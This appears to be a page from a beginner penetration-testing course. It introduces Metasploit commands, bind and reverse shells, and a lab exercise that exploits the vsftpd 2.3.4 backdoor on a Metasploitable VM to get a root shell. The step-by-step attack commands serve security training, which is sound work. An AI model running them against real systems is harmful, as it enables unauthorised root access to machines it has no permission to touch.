Breaking In
Exploitation is the act of using a vulnerability to gain unintended access or control. This is the "Hacking" part.
1. The Metasploit Framework
A massive database of exploit code. It makes launching attacks simple.
msfconsole: The main interface.search [term]: Find an exploit.use [exploit]: Select it.set RHOSTS [target]: Aim the weapon.run: Fire.
2. Shells
When you exploit a system, you usually want a "Shell" (command line access).
- Bind Shell: The victim opens a port, you connect to it. (Blocked by firewalls).
- Reverse Shell: The victim connects back to you. (Bypasses most firewalls).
🔬 Lab Exercise: Vsftpd Backdoor
Objective: Get a shell.
- In Kali, run
msfconsole. - Search for the vsftpd backdoor:
search vsftpd_234. - Use it:
use 0. - Set target:
set RHOSTS [Metasploitable IP]. - Run it.
- If successful, you will see
Command shell session 1 opened. Typewhoami. You are root!